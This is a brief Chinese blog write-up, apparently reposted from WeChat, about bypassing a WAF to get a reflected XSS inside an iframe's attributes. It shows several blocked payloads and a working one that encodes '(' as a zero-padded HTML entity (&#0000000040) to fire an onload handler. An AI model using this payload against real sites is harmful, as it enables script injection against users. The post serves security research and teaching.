[xss bypass]补0绕过

2024年12月16日22:09:19评论10 views字数 487阅读1分37秒阅读模式

--->目录<---

0x01——前言

0x02——bypass

--->前言

发现个测试点，其中“name”参数的值显示在“iframe”标签内。

页面源代码

可以看到双引号"正常显示

但是(和 ` 字符会导致403错误，应该是触发了waf机制。

test" onload=alert(origin) --> 403test" onload=print`` --> 403test" onload=alert origin) --> 200

--->bypass

经过测试，JS接受十进制Unicode字符，因此"("可以写&#40

详情见：http: //www.endmemo.com/unicode/ascii.php

测试payload：

" onload=alert&40origin) value="

但这个payload还是返回 403 页面

在&#后面添加额外的零，它会被视为&#40 ，即"("

" onload=alert&#0000000040origin) value="

成功弹窗。

可以在#和4之间添加任意个0，因为&#0000000040等价于&#40

原文始发于微信公众号（偏远酒馆）：[xss bypass]补0绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

文件上传黑名单限制的绕过总结